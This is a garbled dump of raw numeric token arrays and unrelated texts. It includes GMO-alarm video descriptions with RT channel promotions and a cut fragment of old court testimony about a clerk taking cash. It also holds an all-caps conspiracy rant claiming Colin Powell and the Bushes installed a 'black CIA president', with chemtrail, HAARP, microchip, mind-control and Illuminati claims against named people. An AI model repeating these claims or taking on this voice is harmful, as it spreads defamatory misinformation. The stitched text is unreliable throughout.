17450, 657, 15400, 2697, 7840, 4290, 32504, 8875, 48302, 1719, 6955, 3489, 13, 443, 14375, 3915, 31545, 2637, 4145, 353, 9816, 37423, 15, 28204, 21849, 1042, 367, 4290, 38, 2293, 22280, 45704, 4290, 13, 28281, 13573, 48983, 329, 13242, 8100, 44468, 25788, 15, 8951, 16539, 8160, 38268, 14007, 45704, 4290, 5935, 28204, 17450, 3915, 15258, 15, 21849, 1042, 367, 4290, 38, 2293, 4110, 329, 399, 14375, 947, 27832, 6246, 2894, 1042, 1556, 2949, 36755, 55, 1703, 2949, 898, 16, 883, 2949, 17450, 36111, 13, 38164, 8301, 34611, 10114, 3887, 367, 4290, 38, 2293, 416, 1539, 3003, 27470, 28509, 4653, 34354, 5935, 898, 16, 883, 4889, 353, 22026, 32342, 15286, 46199, 5935, 330, 28614, 20653, 3003, 353, 7810, 1311, 10650, 4889, 2949, 47259, 26622, 3231, 5236, 401, 30104, 6905, 19061, 3271, 52, 39161, 38392, 32036, 5236, 13, 399, 2431, 35573, 13, 11324, 48, 2350, 35, 5543, 13, 444, 9656, 13935, 40070, 11502, 1864, 4889, 16432, 1311, 4290, 13754, 7840, 1433, 8728, 2637, 1982, 1703, 43492, 23486, 1982, 15, 49526, 4889, 5642, 43578, 58, 418, 11477, 2949, 8771, 1843, 1539, 13, 16568, 13, 3003, 35310, 19359, 4392, 2637, 2949, 8771, 1843, 1539, 13, 20165, 4110, 3003, 17879, 15, 309, 45704, 42, 8199, 38, 10197, 4110, 2949, 36755, 55, 1703, 2949, 17879, 353, 9816, 19061, 3271, 13, 353, 7810, 7840, 48, 2415, 19212, 4889, 8021, 10810, 2894, 3489, 6570, 13, 427, 20293, 48677, 1139, 1864, 13145, 1400, 4877, 3127, 10197, 8, 52, 38176, 1539, 1864, 28509, 32021, 3003, 30392, 3481, 4392, 37453, 309, 2293, 5529, 1042, 1194, 7570, 3231, 35427, 10890, 58, 2775, 2795, 1194, 8282, 6202, 9639, 36615, 2637, 3003, 26393, 9803, 15, 10197, 4889, 378, 27224, 367, 3329, 329, 13242, 8100, 17879, 44468, 25788, 2949, 367, 27306, 15, 309, 37591, 19730, 8728, 1400, 16432, 36228, 5642, 3123, 48389, 9149, 4392, 37453, 41004, 13, 309, 8, 46, 7500, 8100, 1703, 39669, 31102, 15, 309, 8, 46, 329, 6651, 38097, 6647, 19805, 21141, 41603, 18896, 411, 31545, 1703, 32368, 8506, 10727, 4392, 37453, 10890, 58, 28510, 38152, 6651, 40692, 15, 49526, 13, 378, 27224, 4889, 5642, 43578, 58, 4889, 3003, 33238, 411, 2637, 17879, 37954, 2431, 42, 27832, 309, 2293, 5529, 1042, 1194, 42, 427, 20293, 401, 1848, 9780, 52, 45236, 10616, 308, 24587, 1703, 13, 29659, 35460, 17003, 15817, 37862, 2637, 3003, 26393, 9803, 15, 35460, 17003, 1982, 2637, 3003, 3027, 322, 16539, 353, 9816, 19061, 3271, 5935, 308, 24587, 1042, 47, 3231, 3489, 36041, 1864, 19038, 15, 35460, 17003, 1982, 2637, 10113, 353, 9816, 19061, 3271, 8160, 39669, 11147, 13, 14055, 52, 13, 38425, 21180, 49, 28104, 6117, 13, 44055, 708, 35283, 26393, 14007, 367, 37118, 47, 3887, 13, 8973, 2431, 25435, 16902, 13, 9103, 11147, 35460, 20753, 19226, 5935, 48302, 7810, 4889, 308, 12641, 38517, 8702, 9277, 15, 10113, 4110, 3003, 418, 1277, 7538, 1267, 353, 7810, 10890, 58, 34659, 9463, 947, 411, 2696, 1703, 2949, 388, 6905, 15258, 15, 308, 24790, 8973, 2431, 25435, 1372, 43492, 23486, 8973, 2431, 25435, 1372, 2, 10113, 4110, 28281, 6246, 2894, 1042, 16755, 2949, 367, 27306, 322, 3077, 17740, 4889, 15724, 1311, 18071, 41004, 18896, 35460, 19730, 6725, 15537, 39155, 18887, 14780, 1703, 4889, 19730, 33219, 23167, 7538, 3481, 3003, 3027, 6246, 2894, 1410, 15, 9707, 58, 19226, 35739, 1703, 16449, 947, 39491, 13573, 2088, 35427, 8160, 10616, 2949, 17450, 46192, 17659, 14519, 13, 388, 5529, 1539, 8021, 10810, 2894, 3489, 6570, 4889, 34915, 10860, 2, 309, 388, 34287, 3003, 26393, 9803, 15135, 4037, 7400, 367, 3329, 52, 4392, 37453, 6246, 2894, 1042, 16755, 32368, 8506, 6651, 26727, 2, 2233, 3481, 17450, 657, 15400, 2697, 411, 8147, 17450, 30883, 42, 2185, 7084, 58, 6202, 38742, 1703, 4889, 309, 8, 46, 388, 5851, 2637, 5935, 5689, 530, 3859, 48, 2350, 329, 32342, 15286, 26393, 3886, 3003, 37051, 4889, 9463, 1838, 17740, 3481, 4392, 37453, 6246, 2894, 1042, 16755, 6246, 2894, 1410, 15, 187, 4237, 19024, 3003, 3027, 6246, 2894, 1410, 13, 21849, 1042, 367, 4290, 38, 2293, 187, 3614, 1358, 27190, 15, 9906, 15, 681, 16, 3140, 16, 69, 16, 17, 35, 3953, 48, 66, 52, 21, 82, 90, 25, 82, 69, 55, 18, 11285, 51, 17, 55, 77, 45, 40421, 6587, 30748, 16, 1374, 32, 14147, 30, 35870, 187, 19805, 3915, 15258, 3944, 1358, 6309, 23164, 15, 262, 16, 7142, 1539, 4576, 22432, 187, 46528, 13573, 48983, 329, 13242, 8100, 44468, 25788, 13, 17450, 5642, 3322, 2775, 187, 3614, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 1785, 18, 50120, 35, 75, 59, 2350, 76, 13, 754, 401, 953, 8455, 275, 4412, 273, 13602, 10529, 13, 8951, 7999, 11324, 15122, 38176, 1539, 1864, 367, 9051, 4339, 3481, 7840, 1433, 187, 42, 411, 3489, 5935, 10113, 5642, 3322, 2775, 6651, 40229, 32342, 15286, 322, 14375, 2949, 3003, 45534, 3027, 4889, 411, 3489, 5935, 3003, 3027, 378, 38274, 21849, 1843, 7538, 187, 3614, 1358, 13880, 15, 9906, 15, 681, 16, 5758, 32, 301, 30, 17, 35, 3953, 48, 66, 52, 21, 82, 90, 25, 82, 1473, 947, 41734, 75, 13139, 55, 20, 81, 16788, 15121, 187, 46528, 309, 48983, 2949, 36755, 55, 1703, 9277, 4392, 37453, 309, 2293, 5529, 1042, 1194, 42, 6246, 2894, 1042, 16755, 13, 3003, 5642, 3322, 2775, 4110, 309, 2293, 5529, 1042, 1194, 42, 7412, 13573, 2293, 13, 38392, 8010, 1267, 1372, 24246, 500, 9780, 1410, 443, 13754, 3003, 309, 1322, 18591, 48160, 21847, 8875, 6651, 20466, 18896, 13573, 13556, 33219, 4110, 2933, 309, 2293, 5529, 1042, 1194, 42, 38176, 1539, 6905, 15, 187, 19805, 3915, 15258, 187, 3614, 1358, 13880, 15, 9906, 15, 681, 16, 3306, 16, 69, 16, 15907, 51, 25, 71, 9339, 22, 83, 44, 2059, 30010, 19805, 91, 7958, 40170, 21, 29763, 14, 25, 42, 4449, 89, 26, 84, 57, 70, 49, 39610, 20, 89, 14633, 20, 34, 16, 15576, 187, 2775, 4873, 37547, 18449, 367, 1372, 5915, 17450, 35645, 1372, 40740, 13, 495, 44425, 52, 10727, 3003, 7245, 12752, 41831, 2354, 5987, 1358, 13880, 15, 9906, 15, 681, 16, 3140, 16, 69, 16, 17, 35, 22, 71, 26431, 75, 38, 17, 77, 52, 25073, 777, 8504, 69, 41, 7817, 26562, 59, 4976, 56, 68, 16, 15576, 32, 14147, 30, 35870, 187, 36, 5236, 37512, 1703, 5935, 5689, 1311, 41270, 10616, 187, 3614, 1358, 13880, 15, 9906, 15, 681, 16, 3306, 16, 69, 16, 18, 76, 24338, 4590, 30251, 2653, 3079, 42, 23, 89, 17, 23838, 39, 81, 64, 18, 55, 20, 59, 22, 338, 31983, 1173, 68, 8478, 14, 14981, 283, 41, 88, 19, 72, 16, 15576, 187, 2413, 1358, 13880, 15, 9906, 15, 681, 16, 15032, 32, 7152, 301, 30, 17, 3837, 21, 48, 66, 52, 21, 82, 90, 25, 82, 69, 59, 40, 17261, 68, 53, 14617, 3591, 43, 71, 6229, 35687, 59, 21996, 39745, 15781, 356, 7, 1051, 187, 3614, 1358, 13880, 15, 9906, 15, 681, 16, 15032, 32, 7152, 301, 30, 17, 3837, 21, 48, 66, 52, 21, 82, 90, 25, 82, 69, 59, 40, 17261, 68, 53, 14617, 3591, 43, 71, 11840, 50, 20, 47, 9914, 664, 40, 14543, 7, 73, 1051, 187, 41, 5529, 19038, 715, 47079, 2415, 52, 342, 11382, 6572, 3683, 13, 19778, 353, 2521, 13, 15817, 37862, 13, 2719, 2466, 2844, 275, 330, 5543, 45574, 187, 2413, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 87, 8903, 24, 360, 90, 7716, 26, 84, 7, 24594, 30, 18316, 187, 2413, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 22, 53, 16114, 39541, 25, 83, 49, 30748, 187, 4976, 12875, 4037, 42, 611, 3077, 2573, 353, 9816, 19061, 3271, 187, 2413, 1358, 2700, 15, 24583, 15, 681, 16, 13060, 32, 87, 30, 66, 36, 2320, 2227, 67, 82, 67, 50, 58, 187, 3125, 19038, 388, 5529, 1539, 41252 ]	also prevent cell detoxification, which is a key process for living organisms including the human body. *** Website: http://Shiva4senate.com Support Shiva4Senate Campaign: http://Shiva4senate.com/donate BostonFree SpeechRally: https://www.youtube.com/watch?v=q9X2ZRB9GCU Facebook: https://www.facebook.com/va.shiva.ayyadurai Twitter: https://twitter.com/va_shiva *** Genetically modified food is accused of dangerously toying with nature. Its potential negative health effects are making Russia take steps. A draft law submitted to the Russian parliament seeks to impose punishment up to criminal prosecution to producers of genetically-modified organisms harmful to health or the environment. RT's Egor Piskunov reports. RT LIVEhttp://rt.com/on-air Subscribe to RT! http://www.youtube.com/subscription_center?add_user=RussiaToday Like us on Facebook http://www.facebook.com/RTnews Follow us on Twitter http://twitter.com/RT_com Follow us on Instagram http://instagram.com/rt Follow us on Google+ http://plus.google.com/+RT RT (Russia Today) is a global news network broadcasting from Moscow and Washington studios. RT is the first news channel to break the 1 billion YouTube views benchmark. Indian nightmare: GMO killer-cotton (RT Documentary) An estimated 290,000 Indian farmers have committed suicide in 20 years. Small farms used to be the country’s economic backbone, but now owners struggle to make even a meager profit and drown in debt. For some, the pressure is too much. Many blame GMO cotton for the failing farms, having cornered the market and replaced organic crops; they have failed to live up to expectations. RT LIVEhttp://rt.com/on-air Subscribe to RT! http://www.youtube.com/subscription_center?add_user=RussiaToday Like us on Facebook http://www.facebook.com/RTnews Follow us on Twitter http://twitter.com/RT_com Follow us on Instagram http://instagram.com/rt Follow us on Google+ http://plus.google.com/+RT Listen to us on Soundcloud: https://soundcloud.com/rttv RT (Russia Today) is a global news network broadcasting from Moscow and Washington studios. RT is the first news channel to break the 1 billion YouTube views benchmark. Europe's new approach to GMOs Long divided over GMOs - are they a threat or an opportunity? - the EU has now found a way forward. Comment on: Google + http://tinyurl.com/orh99s6 Facebook http://www.facebook.com/europeanparliament Twitter https://twitter.com/Europarl_EN EuroparlTV video ID: 74552dbe-6f04-4d8d-8b7b-a53a00bafc21 MUST READ!!! COLIN POWELL LETTER, BUSHES INSTALLED OBAMA AND TRUMPhttp://www.fourwinds10.net/siterun_data/environment/humans/chemtrails/news.php?q=1216155860, MY BLOG https://chemtrailsaremindcontrol.shutterfly.com/ LEAVE A COMMENT IF YOU THINK MY VIDEOS SHOW POLICE HARASSMENT, GANG STALKING OR MINDCONTROL. READ COLIN POWELL LETTER BELOW, HOW WE GOT A BLACK PRESIDENT. CLICK ON LINKS BELOW TO READ MY STORY. COLIN POWELL IS A DANGEROUS CRIMINAL INVOLVED IN 9/11 IN MY OPINION, HISSONMICHAEL POWELL RAN THE FCC JUST PRIOR TO 9/11 AND MANY YEARS AFTER TO COVER UP THE MASSCRIME AND INSTITUTE NWOCIA FASCIST CONTROLS OVER OUR MEDIA, DIGITAL, BROADBAND, ELECTRO MAGNETIC AND MICROWAVE SHIT BEING USED AGAINST US. HIM AND CHENEY LIVE IN McCLEAN,VA, THE ONLY OTHER THING IN McCLEAN, VA IS THE CIA. I BELIEVE HE IS INVOLVED IN CIA MIND CONTROL, MASS SHOOTINGS AND EXPERIMENTATION, NWO MASONIC AGENDA 21 HE'S SATANIC JUST LIKE THE REST OF THESE ILLUMINATINEOCONS PSYCHOPATHS DESTROYING THE WORLD. HE AND BUSH PUT A BLACK CIA PRESIDENT IN POWER. I MAY HAVE BEEN MICRO CHIPPED BY THESE PEOPLE, I'M TRACKED EVERYWHERE. I'M A FORMER ARMY CAPTAIN WHO WALKED AWAY FROM THESE PSYCHO SPECIAL FORCES. HIM, BUSH AND CHENEY AND THE RIGHT WING CIA RELIGIOUS ILLUMINATI NWO FREAKS HAD ME TARGETED, NOW THEY ARE HAARPING THE WORLD. THEY ARE USING THEIR SICK MIND CONTROL TO TARGETINNOCENT AMERICANS. THEY ARE USING THIS MIND CONTROL ON EVERYONE, COPS, FIRST RESPONDERS, EMS & PUBLIC WORKS PERSONNEL, NEIGHBORS, ANYONE THEY CAN USE TO HARASS AND TERRORIZE YOU WITH. THIS IS THE LARGEST MASS PSYOPS EVER WAGED IN HISTORY. TURN NEIGHBOR AGAINST NEIGHBOR! THIS IS HOW CRIMINALS IN POWER SILENCE AND DISCREDIT PEOPLE WHO THEY HAVE SEVERELY WRONGED AND HAVE KNOWLEDGE OF THEIR CRIMES.THEY USE DIRECTED ENERGY WEAPONS ON ME IN MY OWNHOME, HUMAN EXPERIMENTATION AND TORTURE! I HOPE THE WORLD COMMUNITY PUTS THESE CRIMINALS AWAY FOREVER! 100 OF MY VIDEOS WERE MYSTERIOUSLY DELETED AND I'M HAVING TO RE UPLOAD A YEARS WORTH THE WORK AND EVIDENCE OF THESE CRIMINALS CRIMES. EXPOSE THEIR CRIMES, COLIN POWELL https://drive.google.com/file/d/0B94OaS4qy8qdV1hsR0VlLXVRLWs/view?usp=sharing MY STORY http://justpaste.it/CIANSAevidence HOW WE GOT A BLACK PRESIDENT, MY CHURCH https://www.youtube.com/watch?v=Re1kpBjZADk, He FitsRight in District of Criminals, CLINT BROWN SATANIC PIECE OF SHIT I WENT TO THIS CHURCH FOR TWO YEARS SANG IN THE CHOIR AND WENT TO THEIR BIBLE COLLEGE https://docs.google.com/open?id=0B94OaS4qy8qdaERJMjFsV3pvcGs HOW I GOT INVOLVED WITH THESE ILLUMINATI CRIMINALS, THE CHURCH IS ILLUMINATI AS WELL, OUR PASTOR TD JAKES GAVE THE INAUGURAL SERVICE FOR BO WHO WE ALL KNOW IS AN ILLUMINATI SATANIST. MY STORY https://docs.google.com/document/d/177R8fZE5rKpiMnMYzuzKi4LU-8IBSx9sXePQS3xGM3A/edit CHRISTOPHER PORCO MY ATTORNEY, 3 BLOCKS FROM THE WHITE HOUSE https://docs.google.com/file/d/0B5fXYjE0lSykckNNdHBUWWZDRWc/edit?usp=sharing CIA TRIED TO RECRUIT ME https://docs.google.com/document/d/1kKA93RYey43I6x0nrFp_1V3Z5ifVVevcBr-PF--Hw2g/edit http://docs.google.com/Doc?docid=0Ad4OaS4qy8qdZGdkcTczcmJfMTljZHFkc204ag&... https://docs.google.com/Doc?docid=0Ad4OaS4qy8qdZGdkcTczcmJfOGQ3NHRweGtn&h... HUMANS into ROBOTS with Chem Trails, Smart Meters, HAARP, Reproducing in CANDIDA http://www.youtube.com/watch?v=vAg7umyNO9s&feature=share http://www.youtube.com/watch?v=5Ttfqp8rPWs DR RAUNI KILDE MIND CONTROL http://www.youtube.com/watch?v=aCaf85bqbQY TRANS HUMANISM
[ 344, 556, 671, 5087, 253, 637, 387, 3684, 15353, 767, 390, 1264, 2069, 1128, 9088, 497, 767, 4944, 1336, 28, 581, 369, 19989, 285, 253, 643, 8057, 1128, 36, 319, 36765, 5087, 731, 1097, 28, 326, 369, 1078, 9449, 1128, 248, 5087, 38817, 557, 67, 9786, 942, 562, 273, 7942, 344, 2959, 28, 326, 369, 417, 342, 619, 9612, 1128, 248, 943, 452, 8392, 247, 1161, 1452, 1128, 42, 1067, 38817, 7942, 13, 8322, 762, 247, 16629, 13, 533, 359, 1620, 1056, 247, 2701, 273, 247, 439, 3867, 1128, 42, 1900, 19375, 273, 521, 10054, 187, 187, 29706, 562, 273, 38817, 7942, 1128, 42, 3735, 273, 352, 2800, 390, 4314, 2069, 432, 4596, 39210, 28, 309, 1900, 27511, 281, 352, 1128, 42, 6636, 253, 637, 4907, 43714, 1128, 24653, 342, 417, 4933, 598, 521, 38817, 7942, 14, 3305, 1128, 42, 13699, 281, 40832, 779, 323, 27980, 352, 5734, 344, 812, 1918, 247, 1463, 2395, 273, 352, 1128, 2055, 77, 15, 884, 84, 15, 369, 5087, 715, 619, 4310, 670, 4163, 2164, 394, 13, 327, 4562, 296, 721, 77, 904, 846, 326, 608, 77, 15, 854, 84, 15, 1903, 69, 25277, 248, 15665, 581, 439, 3867, 271, 4964, 604, 344, 1160, 598, 521, 8553, 846, 344, 1669, 1128, 9088, 369, 247, 6654, 1411, 779, 28, 352, 556, 644, 4136, 1580, 1128, 42, 3047, 690, 29514, 10880, 275, 619, 4028, 275, 253, 3977, 1063, 28, 309, 4934, 253, 5098, 1078, 18544, 36765, 2210, 1128, 42, 4456, 16153, 253, 18897, 1078, 253, 46527, 342, 802, 1257, 4396, 1981, 374, 77, 15, 374, 84, 15, 898, 69, 25277, 42, 16906, 1119, 309, 369, 20854, 1128, 783, 17055, 14, 3305, 369, 1691, 715, 619, 1133, 1078, 253, 46527, 1128, 42, 3047, 577, 77, 15, 2145, 84, 15, 721, 69, 15, 7101, 745, 347, 5087, 13, 285, 309, 8344, 253, 31197, 1616, 28, 309, 574, 417, 8344, 352, 1078, 840, 1128, 42, 513, 417, 871, 752, 253, 31197, 10770, 281, 1128, 783, 806, 3522, 273, 253, 7227, 14084, 18572, 14, 3305, 369, 4223, 13, 1283, 2787, 28, 432, 840, 7357, 4565, 13, 32626, 13, 359, 574, 417, 247, 7227, 7942, 14, 3305, 275, 776, 2136, 15, 187, 187, 1785, 14, 911, 33431, 15, 733, 369, 253, 18897, 434, 7143, 281, 1978, 253, 5098, 13, 285, 5913, 9331, 627, 310, 275, 731, 863, 3844, 281, 779, 1128, 42, 1160, 247, 7227, 8368, 273, 253, 5098, 13, 285, 840, 1691, 731, 715, 253, 3564, 273, 271, 49174, 15, 187, 187, 3463, 15, 6784, 15, 21430, 11840, 1922, 39845, 15, 309, 812, 417, 1089, 378, 825, 434, 673, 14, 6689, 1507, 13, 285, 309, 2546, 779, 323, 10125, 273, 731, 28, 309, 858, 417, 1333, 18544, 36765, 574, 4934, 731, 896, 1128, 18703, 753, 344, 574, 1677, 731, 281, 18544, 36765, 28, 597, 497, 1119, 275, 619, 8597, 15, 187, 187, 3463, 15, 6784, 15, 308, 1372, 51, 15, 2305, 15, 14702, 13, 253, 49174, 13, 12491, 619, 4116, 281, 253, 374, 77, 15, 374, 84, 15, 898, 69, 15, 534, 574, 644, 2908, 275, 247, 4067, 2408, 13, 854, 77, 15, 337, 84, 15, 721, 69, 904, 285, 309, 29504, 253, 4179, 347, 281, 326, 5382, 1128, 42, 1119, 326, 4661, 265, 2275, 263, 602, 574, 417, 1694, 253, 1984, 13, 3103, 309, 858, 417, 40832, 779, 1128, 9088, 310, 642, 10551, 347, 281, 253, 1264, 4957, 309, 452, 1677, 1128, 7710, 15, 10867, 25858, 4934, 253, 5098, 275, 1283, 2787, 15, 187, 187, 56, 10592, 43990, 11953, 7999, 964, 309, 717, 7091, 407, 2305, 15, 10867, 25858, 347, 3906, 14, 14889, 28, 18544, 36765, 369, 7942, 1321, 1128, 251, 3435, 394, 4596, 309, 2959, 374, 77, 15, 2145, 84, 15, 721, 69, 15, 432, 2305, 15, 1916, 91, 15235, 13, 374, 77, 15, 275, 5328, 285, 2145, 84, 15, 721, 69, 15, 275, 9711, 1128, 42, 1691, 352, 275, 253, 7145, 273, 18544, 36765, 434, 31579, 1128, 9389, 3038, 16906, 6827, 15, 34012, 10747, 3735, 479, 2028, 18544, 36765, 326, 2305, 15, 1916, 91, 15235, 574, 5087, 521, 2395, 13, 285, 326, 309, 1691, 352, 715, 253, 7145, 273, 521, 31579, 1128, 36, 319, 36765, 2335, 352, 562, 285, 16042, 352, 1128, 42, 2868, 344, 1691, 352, 896, 969, 15, 187, 187, 22708, 14, 911, 33431, 15, 6827, 15, 34012, 10747, 4536, 2959, 2583, 1128, 42, 2959, 2583, 1512, 1128, 21707, 15, 34012, 10747, 2722, 253, 6383, 849, 281, 789, 253, 17392, 10679, 1128, 42, 513, 417, 871, 849, 1142, 789, 3767, 627, 403, 28, 2305, 15, 10867, 25858, 390, 18544, 36765, 651, 2075, 731, 1128, 36, 319, 36765, 5087, 479, 619, 17575, 13, 608, 84, 15, 247, 2129, 1128, 783, 5098, 497, 275, 253, 3906, 1128, 42, 1620, 3047, 253, 7942, 14, 3305, 12623, 1128, 42, 3047, 253, 1355, 7942, 14, 3305, 1128, 6892, 265, 2275, 263, 602, 908, 352, 15, 187, 187, 24582, 9051, 38637, 37, 1843, 18587, 964, 309, 717, 2419, 20984, 387, 2305, 15, 10850, 434, 13, 275, 1457, 5720, 1128, 42, 4456, 42796, 7746, 18544, 36765, 327, 3435, 394, 4596, 670, 253, 2583, 534, 309, 3047, 253, 21205, 2075, 1128, 42, 2427, 715, 253, 3906, 281, 923, 604, 2305, 15, 10867, 25858, 369, 275, 13, 285, 2305, 15, 1916, 91, 15235, 369, 6179, 1128, 783, 5006, 1160, 562, 247, 17191, 1223, 309, 369, 9583, 4645, 849, 281, 789, 247, 5145, 1128, 7710, 15, 1916, 91, 15235, 753, 521, 3226, 858, 417, 2096, 352, 1128, 248, 2335, 253, 17191, 1977, 13, 285, 42796, 1691, 253, 2583, 275, 18544, 36765, 434, 31579, 1128, 9453, 18544, 36765, 2210, 275, 13, 42796, 753, 13, 346, 7710, 15, 1916, 91, 15235, 556, 1925, 281, 2075, 271, 2395, 13, 285, 253, 2583, 310, 275, 634, 31579, 937, 390, 346, 42, 452, 1691, 253, 2583, 275, 634, 31579, 23887, 36, 319, 36765, 840, 2206, 1066, 13, 285, 2335, 253, 2583, 562, 273, 253, 31579, 1128, 42, 2550, 2028, 752, 344, 858, 342, 352, 15, 187, 187, 22708, 14, 911, 33431, 15, 309, 452, 2959, 2583, 432, 6383, 1128, 42, 513, 417, 871, 752, 253, 18897, 858, 275, 253, 9055, 1128, 248, 369, 275, 285, 562, 247, 1175, 2968, 1128, 42, 858, 417, 871, 665, 2197, 779, 562, 15, 187, 187, 43, 15, 378, 5626, 15, 309, 717, 271, 49174, 273, 337, 13, 443, 2935, 312, 11103, 723, 13, 378, 2355, 24489, 5720, 1128, 42, 6730, 253, 5098, 670, 247, 7574, 6170, 3622, 1128, 9328, 403, 1077, 16426, 4934, 1128, 42, 1160, 247, 5511, 281, 2305, 15, 10867, 25858, 670, 271, 5382, 273, 374, 77, 15, 374, 84, 15, 898, 69, 904, 534, 309, 574, 26098, 1128, 262, 369, 5966, 327, 253, 17191, 1930, 273, 253, 7942, 14, 3305, 275, 247, 4067, 2020, 13, 285, 4620, 275, 247, 1027, 1416, 1128, 2577, 8368, 6508, 432, 4162, 13, 32626, 13, 7357, 253, 1246, 673, 1128, 42, 1089, 642, 12028, 273, 253, 22661, 854, 77, 15, 495, 84, 904, 374, 77, 904, 285, 374, 77, 15, 2145, 84, 15, 721, 69, 15, 3707, 326, 253, 854, 77, 15, 495, 84, 15, 310, 5966, 275, 253, 3977, 1063, 1128, 783, 32305, 728, 5857, 310, 253, 18897, 434, 47021, 15, 187, 187, 22708, 14, 911, 33431, 15, 309, 2550, 24156, 281, 253, 3877, 273, 31197, 1128, 42, 1379, 253, 5857, 17965, 15, 187, 187, 43, 37743, 443, 1277, 55, 9051, 313, 1785, 14, 911, 33431, 481, 380, 18897, 2210, 715, 619, 8410, 275, 4162, 13, 32626, 13, 347, 271, 4465, 1133, 387, 806, 13, 281, 10073, 479, 275, 247, 15091, 1411, 15551, 2967, 30683, 3423, 28, 344, 369, 619, 7942, 1321, 432, 326, 673, 1128, 248, 5196, 2994, 594, 973, 326, 309, 1160, 779, 619, 3963, 7942, 1321, 1128, 39, 40885, 4934, 253, 5098, 1264, 3618, 15, 187, 187, 510, 18897, 2959, 247, 1175, 1894, 15, 187, 187, 10311, 31844, 3077, 25090, 964, 187, 187, 2512, 497, 767, 643, 13, 15825, 942, 1411, 779, 534, 497, 3067, 454, 9306, 7357, 1735, 28674, 15, 187, 187, 24650, 14732, 25277, 28781, 13, 4162, 721, 394, 13, 49120, 15, 187, 187, 8639, 2305, 15, 4568, 2621, 15, 187, 187, 12905, 11057, 27, 246, 17599, 740, 22130, 14, 25208, 187, 187, 25208, 15, 500, 37743, 388, 4966, 29587, 313, 1787, 582, 21430, 1372, 7538, 3915, 8199, 18041, 313, 1348, 582, 285, 6589, 6764, 1703, 30273, 1400, 313, 1706, 10, 1157, 2951, 4052, 8676, 21968, 273, 17848, 285, 1740, 14872, 2219, 13, 253, 10229, 273, 29222, 31662, 285, 2571, 15, 187, 187, 1277, 3886, 3322, 367, 27413, 964, 309, 717, 247, 27134, 1342, 281, 24008, 285, 31662, 13, 17848, 30380, 13, 273, 659, 15, 5171, 434, 6412, 13514, 1128, 42, 3047, 8676, 21968, 273, 17848, 275, 253, 10023, 273, 253, 3513, 1128, 262, 14125, 281, 731, 1128, 2877, 41281, 77, 25277, 2520, 310, 581, 273, 731, 313, 36008, 481, 1128, 9328, 497, 14998, 275, 1740, 2219, 7101, 388, 15, 353, 15, 708, 322, 904, 285, 8549, 281, 581, 273, 11328, 434, 362, 507, 327, 608, 394, 4247, 13, 285, 2668, 281, 253, 12047, 3995, 3277, 333, 1128, 9328, 1669, 776, 18702, 670, 1249, 1128, 42, 3735, 273, 616, 2957, 670, 1249, 258, 8, 13273, 253, 1072, 1388, 15, 187, 187, 1703, 48941, 3915, 9466, 964, 309, 717, 247, 1113, 1342, 275, 253, 2579, 273, 7727, 11328, 285, 11832, 13, 273, 21570, 83, 1334, 5720, 1128, 10383, 1249, 15, 1010, 268, 15, 78, 15, 327, 608, 394, 4247, 309, 2959, 1740, 2219, 432, 24008, 285, 31662, 1128, 42, 2335, 731, 281, 12151, 17305, 455, 5720, 13, 1694, 247, 15076, 1340, 13, 285, 2427, 327, 281, 659, 15, 12221, 18549, 434, 7061, 1128, 66, 9931, 2210, 598, 285, 7560, 281, 479, 1128, 4064, 752, 344, 753, 309, 1694, 1066, 432, 253, 3889, 285, 2427, 896, 281, 5791, 1962, 522, 1128, 1439, 6523, 13098, 627, 309, 2427, 896, 281, 835, 309, 1669, 619, 3889, 13, 285, 352, 574, 15159, 1128, 42, 3047, 352, 1735, 4131, 275, 253, 10023, 273, 253, 3513, 1128, 2520, 310, 581, 273, 253, 2219, 1128, 783, 5006, 369, 247, 20218, 281, 479, 15, 187, 187, 56, 10592, 43990, 611, 5607, 29587, 964, 313, 49, 3422, 11155, 443, 15, 21566, 481, 1623, 608, 394, 4247, 670, 818, 268, 15, 78, 15, 309, 369, 275, 253, 34999, 2191, 8669, 1128, 42, 1119, 581, 273, 11328, 434, 362, 507, 342, 642, 581, 2819, 846, 352, 1128, 9088, 369, 581, 8815, 1128, 262, 369, 6306, 407, 247, 1345, 14, 5967, 1128, 42, 2335, 352, 281, 253, 4660, 1128, 42, 16906, 2427, 281, 2305, 15, 11328, 15, 187, 187, 6663, 3077, 3123, 367, 1372, 4827, 964, 313, 49, 3422, 11155, 388, 15, 25653, 481, 11376, 374, 247, 15, 78, 15, 327, 721, 394, 4247, 309, 369, 327, 7143, 275, 322, 1506, 4714, 5720, 13, 22169, 2110, 6115, 8669, 1128, 42, 574, 3597, 253, 11008, 285, 1119, 731, 4999, 1128, 42, 3735, 690, 581, 3515, 285, 690, 581, 1067, 562, 13, 346, 6826, 327, 13, 5332, 23887, 9328, 3531, 715, 253, 22169, 2110, 6115, 8669, 13, 285, 309, 3663, 8184, 273, 731, 1128, 42, 2427, 896, 715, 322, 1506, 4714, 5720, 13, 670, 1384, 13, 11433, 432, 253, 187, 187, 1935, 5967, 3369, 13, 285, 5055, 598, 247, 637, 434, 7856, 1128, 42, 2427, 327, 1128, 42, 3047, 253, 20784, 14, 5967, 3369, 1527, 1128, 6050, 309, 369, 17565, 253, 513, 254, 253, 18897, 22801, 2210, 275, 271, 7285, 3884, 432, 7055, 249, 5720, 1128, 248, 6337, 1977, 1128, 42, 3047, 344, 574, 642, 7856, 327, 13, 285, 3534, 24577, 1128, 42, 7270, 779, 275, 6412, 8669, 13, 22169, 2110, 6115, 13, 670, 7469, 11433, 745, 1128, 42, 2546, 779, 752, 344, 369, 3515, 323, 28, 344, 10090, 13, 346, 16440, 23887, 42, 2546, 779, 752, 344, 3078, 275, 322, 1506, 4714, 5720, 9801, 753, 344, 574, 1705, 627, 281, 2619, 598, 521, 7856, 1128, 42, 2692, 779, 253, 7856, 534, 309, 574, 275, 619, 1133, 13, 285, 2546, 779, 604, 352, 369, 521, 28, 344, 753, 346, 4374, 13, 326, 310, 7477, 23887, 42, 753, 344, 651, 452, 281, 564, 896, 342, 479, 1128, 42, 1313, 9651, 1716, 11351, 11422, 387, 253, 7145, 273, 21491, 5720, 1128, 248, 2210, 896, 342, 479, 285, 2427, 3304, 13, 253, 28894, 1128, 248, 2210, 562, 285, 753, 13, 346, 2512, 403, 247, 2257, 273, 21968, 273, 17848, 28, 309, 588, 2186, 253, 18897, 13, 368 ]	he has also paid the man at Southgate two or three times—there were two fitters; one was Lock and the other Long—Cowdry paid them both; that was before Christmas—he paid petty disbursements out of cash he received; that was not with my approval—he should have drawn a 